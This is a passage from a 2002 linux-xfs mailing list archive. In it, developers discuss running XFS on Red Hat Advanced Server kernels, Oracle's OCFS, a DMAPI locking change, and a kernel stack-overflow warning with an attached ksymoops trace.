2.4.9-34 (which already has more in common with the last >> 2.4.13-ac >> then any released 2.4.9 kernel..). This does include filesystem-related >> changes such as AIO to which XFS is not adoptable without major effort. >> The simplest solution would to just take the 2.4.9-34 rpm which should >> install fine in AS and use that with XFS. Alternatively I'm happy to >> contract with you in October to fit XFS into the AS kernel 8) Per the interview at http://ocfs.otncast.otnxchange.oracle.com/source/browse/ocfs/ Oracle has added a lot of Enterprise quality tweaks to the AS kernel. (I think many of these are now in 2.4.19, but I'm not sure.) If you are considering a Production Quality Oracle environment, you probably need to stick to the AS kernel. [Off Topic below] Christoph: Do you know anything about the newly GPLed Oracle Cluster File System (OCFS)? I'm hoping it might fill the role that OpenGFS is currently filling. (Alan Cox has not had good things to say about OpenGFS, so I assume it is not a long term player.) Press Release - http://www.supercomputingonline.com/article.php?sid=2459 CVS web for OCFS - http://ocfs.otncast.otnxchange.oracle.com/source/browse/ocfs/ (but you have to join Oracle Tech Net at no charge.) Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 09:54:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MGsSBM011380 for ; Thu, 22 Aug 2002 09:54:28 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MGsSvx011379 for linux-xfs-outgoing; Thu, 22 Aug 2002 09:54:28 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from UberGeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MGsKBM011287 for ; Thu, 22 Aug 2002 09:54:22 -0700 Received: (qmail 1330 invoked by uid 500); 22 Aug 2002 16:57:11 -0000 Subject: Re: Redhat Advanced Server and XFS? From: Austin Gonyou To: Christoph Hellwig Cc: Simon Matter , Bill Anderson , "Linux XFS \(SGI\)" In-Reply-To: <20020822174044.A23116@infradead.org> References: <20020822174044.A23116@infradead.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1030035431.1200.6.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) Date: 22 Aug 2002 11:57:11 -0500 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 11:40, Christoph Hellwig wrote: ... > Although the AS server calls itself 2.4.9 it is quite different from > RedHat's 2.4.9-34 (which already has more in common with the last > 2.4.13-ac > then any released 2.4.9 kernel..). This does include > filesystem-related > changes such as AIO to which XFS is not adoptable without major > effort. Good thing Andrea's tree has AIO in 2.4.19 and XFS. > The simplest solution would to just take the 2.4.9-34 rpm which should > install fine in AS and use that with XFS. Alternatively I'm happy to > contract with you in October to fit XFS into the AS kernel 8) Blech!!! Use the -AA tree and get the good scheduler fixes. -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Thu Aug 22 10:42:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MHgfBM012125 for ; Thu, 22 Aug 2002 10:42:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MHgf4Z012124 for linux-xfs-outgoing; Thu, 22 Aug 2002 10:42:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MHgaBM012092 for ; Thu, 22 Aug 2002 10:42:37 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hw1c-0006SF-00; Thu, 22 Aug 2002 18:45:40 +0100 Date: Thu, 22 Aug 2002 18:45:40 +0100 From: Christoph Hellwig To: Austin Gonyou Cc: Simon Matter , Bill Anderson , "Linux XFS (SGI)" Subject: Re: Redhat Advanced Server and XFS? Message-ID: <20020822184540.A24811@infradead.org> References: <20020822174044.A23116@infradead.org> <1030035431.1200.6.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030035431.1200.6.camel@UberGeek.coremetrics.com>; from austin@coremetrics.com on Thu, Aug 22, 2002 at 11:57:11AM -0500 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 11:57:11AM -0500, Austin Gonyou wrote: > Good thing Andrea's tree has AIO in 2.4.19 and XFS. But not aio working with XFS. > Blech!!! Use the -AA tree and get the good scheduler fixes. The AS tree is where Ingo's O(1) scheduler was first implemented.. From owner-linux-xfs@oss.sgi.com Thu Aug 22 10:42:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MHgVBM012084 for ; Thu, 22 Aug 2002 10:42:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MHgVYa012083 for linux-xfs-outgoing; Thu, 22 Aug 2002 10:42:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MHgLBM012055 for ; Thu, 22 Aug 2002 10:42:22 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hw1N-0006S5-00; Thu, 22 Aug 2002 18:45:25 +0100 Date: Thu, 22 Aug 2002 18:45:25 +0100 From: Christoph Hellwig To: Greg Freemyer Cc: Simon Matter , Bill Anderson , Linux XFS Subject: Re: re[2]: Redhat Advanced Server and XFS? Message-ID: <20020822184525.A24748@infradead.org> References: <20020822165802.ZFAJ25788.imf08bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020822165802.ZFAJ25788.imf08bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Thu, Aug 22, 2002 at 12:55:13PM -0400 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 12:55:13PM -0400, Greg Freemyer wrote: > Per the interview at http://ocfs.otncast.otnxchange.oracle.com/source/browse/ocfs/ > Oracle has added a lot of Enterprise quality tweaks to the AS kernel. (I think many of these are now in 2.4.19, but I'm not sure.) "Enterprise quality tweaks" is exactly the right term. Meaning they made Ingo code up some crude hacks to win benchmarks. (and some useful stuff like the O(1) scheduler). It's not that dramatic as Orcale describes it. And no, I haven't looked at that page as I refuse the silly registration. If Oracle wants to cooperate with Linux developers they better make their information freely available without having to sign up for spam. > If you are considering a Production Quality Oracle environment, you probably need to stick to the AS kernel. you have to anyway when you want to get their support. This has nothing to do with the questionable quality of that kernel, but rather with Oracle's ceritifcation policy. If you want to chose your kernel run DB/2 or some opensouce database, it's pretty simple.. > [Off Topic below] > Christoph: Do you know anything about the newly GPLed Oracle Cluster File System (OCFS)? I can't find their code anyway, but I've been told that it is enteprise grade code (i.e. horrible code quality but fixable). > I'm hoping it might fill the role that OpenGFS is currently filling. (Alan Cox has not had good things to say about OpenGFS, so I assume it is not a long term player.) I've worked on OpenGFS, and I thuink the major problem is that there is no founding for a badly needed rewrite. SGI might have an interesting offer long-term, btw :) From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:18:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MII5BM013697 for ; Thu, 22 Aug 2002 11:18:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MII5pE013696 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:18:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIHvBM013667 for ; Thu, 22 Aug 2002 11:17:57 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA92928 for ; Thu, 22 Aug 2002 13:20:59 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA86682 for ; Thu, 22 Aug 2002 13:20:59 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id NAA47525 for linux-xfs@oss.sgi.com; Thu, 22 Aug 2002 13:20:58 -0500 (CDT) Date: Thu, 22 Aug 2002 13:20:58 -0500 (CDT) From: Dean Roehrich Message-Id: <200208221820.NAA47525@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - remove a bhv lock from dm_change_right() X-Spam-Status: No, hits=0.1 required=5.0 tests=SUBJ_REMOVE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 22 11:20:46 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125695a linux/fs/xfs/dmapi/dmapi_right.c - 1.12 - The recent stream of change to add bhv locking to the dmapi core went one lock too far. The bhv lock in dm_change_right() could result in a thread that is attempting to get the same lock for a second time. In dm_change_right() we're making several callouts to some dmapi "rights" functions. We don't have a "rights" implementation so those rights functions are just stubs. I'd like to turn off this code, from the bhv lock to the bhv unlock, with an #ifdef, until we have a rights implementation. At that time, we can sort out the bhv locking. From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:35:59 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIZwBM014887 for ; Thu, 22 Aug 2002 11:35:58 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIZwgm014886 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:35:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from cc.lehigh.edu (ironmail1.cc.lehigh.edu [128.180.39.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIZSBM014855 for ; Thu, 22 Aug 2002 11:35:28 -0700 Received: from ([128.180.39.20]) by ironmail1.cc.lehigh.edu with ESMTP with TLS; Thu, 22 Aug 2002 14:36:10 -0400 (EDT) Received: from Lehigh.EDU (hooch.CC.Lehigh.EDU [128.180.3.11]) by rain.CC.Lehigh.EDU (8.12.5/8.12.5) with ESMTP id g7MIaAMT021949 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 22 Aug 2002 14:36:10 -0400 Message-ID: <3D652F1A.3080005@Lehigh.EDU> Date: Thu, 22 Aug 2002 14:36:10 -0400 From: Jim Eshleman User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020712 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Detected potential for stack overflows, stack left: 796 bytes Content-Type: multipart/mixed; boundary="------------040007040708060600040806" X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This is a multi-part message in MIME format. --------------040007040708060600040806 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit kernel: Detected potential for stack overflows, stack left: 796 bytes I sent this to Ben as it was output from his patch (00_stack-overflow-detection-1) in the -aa kernel and he thought it looked like a case of XFS using too much stack. Attached is from my production mail server after four days uptime running 2.4.19-rc5aa1. IBM x370 8-way P3xeon 8.5G, 64G HIGHMEM enabled. Let me know if you need more info. Jim --------------040007040708060600040806 Content-Type: text/plain; name="trace" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="trace" ksymoops 2.4.0 on i686 2.4.19-rc5aa1. Options used -v /usr/src/linux-2.4.19-rc5aa1/vmlinux (specified) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.19-rc5aa1/ (default) -m /boot/System.map-2.4.19-rc5aa1 (default) No modules in ksyms, skipping objects Warning (read_lsmod): no symbols in lsmod, is /proc/modules a valid lsmod file? Warning (compare_maps): ksyms_base symbol set_cpus_allowed_R__ver_set_cpus_allowed not found in vmlinux. Ignoring ksyms_base entry Aug 22 10:38:27 rain kernel: d628c9c0 c02f4260 0000031c 00000005 c775b960 00000282 02947356 07745200 Aug 22 10:38:27 rain kernel: c010d2e8 c775b960 00000240 0000610e 00000282 02947356 07745200 00003003 Aug 22 10:38:27 rain kernel: c7750018 00000018 ffffff12 c023ffe6 00000010 00000282 c7745400 00000009 Aug 22 10:38:27 rain kernel: Call Trace: [call_do_IRQ+5/13] [boomerang_start_xmit+662/688] [check_for_unredirect+99/203] [ip_finish_output2+0/256] [qdisc_restart+105/384] Aug 22 10:38:27 rain kernel: Call Trace: [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] Aug 22 10:38:27 rain kernel: [] Warning (Oops_read): Code line not seen, dumping what data is available Trace; c010d2e8 Trace; c023ffe6 Trace; c02d7b83 Trace; c02b2a40 Trace; c02a8849 Trace; c02a119e Trace; c02a7c2e Trace; c02b2aef Trace; c02b2a40 Trace; c02a7f63 Trace; c02a7f9a Trace; c02b16b8 Trace; c02b2a40 Trace; c02eb3ed Trace; c02b19c8 Trace; c02cd5d5 Trace; c02c648e Trace; c02c11d0 Trace; c02c1c47 Trace; c029db96 <__kfree_skb+116/120> Trace; c02be365 Trace; c02bf11f <__tcp_data_snd_check+4f/d0> Trace; c02bfb53 Trace; c02a7f63 Trace; c02a0012 Trace; c02c71eb Trace; c02c76dd Trace; c02a7c2e Trace; c02aeff7 Trace; c02aef40 Trace; c02a7f63 Trace; c02aef40 Trace; c02a7f9a Trace; c02aeb8b Trace; c02aef40 Trace; c02af1f4 Trace; c02af070 Trace; c02a7f63 Trace; c02af070 Trace; c02a7f9a Trace; c02aeefd Trace; c02af070 Trace; c02404f4 Trace; c02a18bb Trace; c012044b Trace; c010a97e Trace; c010d2e8 Trace; c02549c0 Trace; c02543eb Trace; c025b834 Trace; c02328eb Trace; c01208fd <__run_task_queue+5d/70> Trace; c01ec7ab Trace; c01f894e Trace; c01ebe7e Trace; c01edd37 Trace; c01ee074 Trace; c01eb879 Trace; c01b27ac Trace; c01affb0 Trace; c01b23d7 Trace; c01c0164 Trace; c01f95ec Trace; c01b380d Trace; c01c1a1a Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> Trace; c01c3b86 Trace; c020489e <_pagebuf_get_object+3e/140> Trace; c021208b Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> Trace; c01d1d91 Trace; c01f95ec Trace; c01d42f5 Trace; c01f95ec Trace; c01d39de Trace; c021208b Trace; c02aeefd Trace; c02af070 Trace; c02404f4 Trace; c02a18bb Trace; c012044b Trace; c01f95ec Trace; c01cfe01 Trace; c01d3f54 Trace; c02046e8 Trace; c020457b Trace; c0233253 <__make_request+233/5e0> Trace; c0279cf1 Trace; c02043b9 Trace; c0204745 Trace; c02046e8 Trace; c020457b Trace; c02046e8 Trace; c020457b Trace; c02043b9 Trace; c0204745 Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> Trace; c0204775 Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> Trace; c01c2148 Trace; c0204bdf <_pagebuf_lookup_pages+9f/3b0> Trace; c0205101 Trace; c01f93e6 Trace; c02111a7 Trace; c01f0000 Trace; c01e46fb Trace; c01e47ab Trace; c01e47c1 Trace; c01f9a56 Trace; c01f9a87 Trace; c01f9c3c Trace; c01d98e6 Trace; c01d167d Trace; c01ff0aa Trace; c02b2a40 Trace; c01ca285 Trace; c020bad0 Trace; c01f9f61 Trace; c01f862a Trace; c01f81d3 Trace; c01d1792 Trace; c014d3b0 Trace; c014df28 Trace; c01fa40a Trace; c020bc88 Trace; c014e61c Trace; c014e401 Trace; c014e7f3 Trace; c014d380 Trace; c0141616 Trace; c0141984 Trace; c0108d9b 3 warnings issued. Results may not be reliable. --------------040007040708060600040806-- From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:40:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIe5BM015400 for ; Thu, 22 Aug 2002 11:40:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIe5ID015399 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:40:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIdwBM015365 for ; Thu, 22 Aug 2002 11:39:59 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA92772; Thu, 22 Aug 2002 13:43:00 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA07534; Thu, 22 Aug 2002 13:43:00 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MIdgh24044; Thu, 22 Aug 2002 13:39:42 -0500 Subject: Re: Detected potential for stack overflows, stack left: 796 bytes From: Steve Lord To: Jim Eshleman Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D652F1A.3080005@Lehigh.EDU> References: <3D652F1A.3080005@Lehigh.EDU> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 13:39:42 -0500 Message-Id: <1030041582.10311.105.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 13:36, Jim Eshleman wrote: > kernel: Detected potential for stack overflows, stack left: 796 bytes > > I sent this to Ben as it was output from his patch > (00_stack-overflow-detection-1) in the -aa kernel and he thought it > looked like a case of XFS using too much stack. Attached is from my > production mail server after four days uptime running 2.4.19-rc5aa1. > IBM x370 8-way P3xeon 8.5G, 64G HIGHMEM enabled. Let me know if you > need more info. > > Jim > ---- > Well, just looking at the function names in that stack, it looks like the xfs in the aa kernel is somewhat dated. We did a bunch of work since then to reduce stack usage in XFS. Thanks though. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:43:14 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIhEBM016010 for ; Thu, 22 Aug 2002 11:43:14 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIhE1V016009 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:43:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIh9BM015981 for ; Thu, 22 Aug 2002 11:43:10 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hwyB-0007TN-00; Thu, 22 Aug 2002 19:46:11 +0100 Date: Thu, 22 Aug 2002 19:46:11 +0100 From: Christoph Hellwig To: Steve Lord Cc: andrea@suse.de, Jim Eshleman , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020822194611.A28364@infradead.org> References: <3D652F1A.3080005@Lehigh.EDU> <1030041582.10311.105.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1030041582.10311.105.camel@jen.americas.sgi.com>; from lord@sgi.com on Thu, Aug 22, 2002 at 01:39:42PM -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 01:39:42PM -0500, Steve Lord wrote: > Well, just looking at the function names in that stack, it looks like > the xfs in the aa kernel is somewhat dated. We did a bunch of work > since then to reduce stack usage in XFS. It's XFS 1.1, the last official release.. Andrea, would you be interested in more uptodate XFS code for -aa? From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:44:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIiYBM016134 for ; Thu, 22 Aug 2002 11:44:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIiY8A016133 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:44:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIi5BM016053 for ; Thu, 22 Aug 2002 11:44:05 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA89102; Thu, 22 Aug 2002 13:47:07 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id NAA29755; Thu, 22 Aug 2002 13:47:06 -0500 (CDT) Subject: Re: Detected potential for stack overflows, stack left: 796 bytes From: Eric Sandeen To: Jim Eshleman Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D652F1A.3080005@Lehigh.EDU> References: <3D652F1A.3080005@Lehigh.EDU> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 22 Aug 2002 13:46:02 -0500 Message-Id: <1030041962.8450.18.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Jim - Hm, was just talking about this with Christoph. :) XFS does use a bit of stack, but the code in XFS 1.1 (which is, I think, also in your -aa kernel) is probably much worse than what is currently in CVS. We're aware of the issue, and now apparently this same stack-check code is in the 2.4.20-preX kernels - so we'll keep an eye on it. As far as your current situation... I guess maybe we'll have to talk to Andrea about it, I don't know what he'll want to do about updating XFS code in his tree. -Eric On Thu, 2002-08-22 at 13:36, Jim Eshleman wrote: > kernel: Detected potential for stack overflows, stack left: 796 bytes > > I sent this to Ben as it was output from his patch > (00_stack-overflow-detection-1) in the -aa kernel and he thought it > looked like a case of XFS using too much stack. Attached is from my > production mail server after four days uptime running 2.4.19-rc5aa1. > IBM x370 8-way P3xeon 8.5G, 64G HIGHMEM enabled. Let me know if you > need more info. > > Jim > ---- > > ksymoops 2.4.0 on i686 2.4.19-rc5aa1. Options used > -v /usr/src/linux-2.4.19-rc5aa1/vmlinux (specified) > -k /proc/ksyms (default) > -l /proc/modules (default) > -o /lib/modules/2.4.19-rc5aa1/ (default) > -m /boot/System.map-2.4.19-rc5aa1 (default) > > No modules in ksyms, skipping objects > Warning (read_lsmod): no symbols in lsmod, is /proc/modules a valid lsmod file? > Warning (compare_maps): ksyms_base symbol set_cpus_allowed_R__ver_set_cpus_allowed not found in vmlinux. Ignoring ksyms_base entry > Aug 22 10:38:27 rain kernel: d628c9c0 c02f4260 0000031c 00000005 c775b960 00000282 02947356 07745200 > Aug 22 10:38:27 rain kernel: c010d2e8 c775b960 00000240 0000610e 00000282 02947356 07745200 00003003 > Aug 22 10:38:27 rain kernel: c7750018 00000018 ffffff12 c023ffe6 00000010 00000282 c7745400 00000009 > Aug 22 10:38:27 rain kernel: Call Trace: [call_do_IRQ+5/13] [boomerang_start_xmit+662/688] [check_for_unredirect+99/203] [ip_finish_output2+0/256] [qdisc_restart+105/384] > Aug 22 10:38:27 rain kernel: Call Trace: [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] [] [] [] [] [] > Aug 22 10:38:27 rain kernel: [] > Warning (Oops_read): Code line not seen, dumping what data is available > > Trace; c010d2e8 > Trace; c023ffe6 > Trace; c02d7b83 > Trace; c02b2a40 > Trace; c02a8849 > Trace; c02a119e > Trace; c02a7c2e > Trace; c02b2aef > Trace; c02b2a40 > Trace; c02a7f63 > Trace; c02a7f9a > Trace; c02b16b8 > Trace; c02b2a40 > Trace; c02eb3ed > Trace; c02b19c8 > Trace; c02cd5d5 > Trace; c02c648e > Trace; c02c11d0 > Trace; c02c1c47 > Trace; c029db96 <__kfree_skb+116/120> > Trace; c02be365 > Trace; c02bf11f <__tcp_data_snd_check+4f/d0> > Trace; c02bfb53 > Trace; c02a7f63 > Trace; c02a0012 > Trace; c02c71eb > Trace; c02c76dd > Trace; c02a7c2e > Trace; c02aeff7 > Trace; c02aef40 > Trace; c02a7f63 > Trace; c02aef40 > Trace; c02a7f9a > Trace; c02aeb8b > Trace; c02aef40 > Trace; c02af1f4 > Trace; c02af070 > Trace; c02a7f63 > Trace; c02af070 > Trace; c02a7f9a > Trace; c02aeefd > Trace; c02af070 > Trace; c02404f4 > Trace; c02a18bb > Trace; c012044b > Trace; c010a97e > Trace; c010d2e8 > Trace; c02549c0 > Trace; c02543eb > Trace; c025b834 > Trace; c02328eb > Trace; c01208fd <__run_task_queue+5d/70> > Trace; c01ec7ab > Trace; c01f894e > Trace; c01ebe7e > Trace; c01edd37 > Trace; c01ee074 > Trace; c01eb879 > Trace; c01b27ac > Trace; c01affb0 > Trace; c01b23d7 > Trace; c01c0164 > Trace; c01f95ec > Trace; c01b380d > Trace; c01c1a1a > Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> > Trace; c01c3b86 > Trace; c020489e 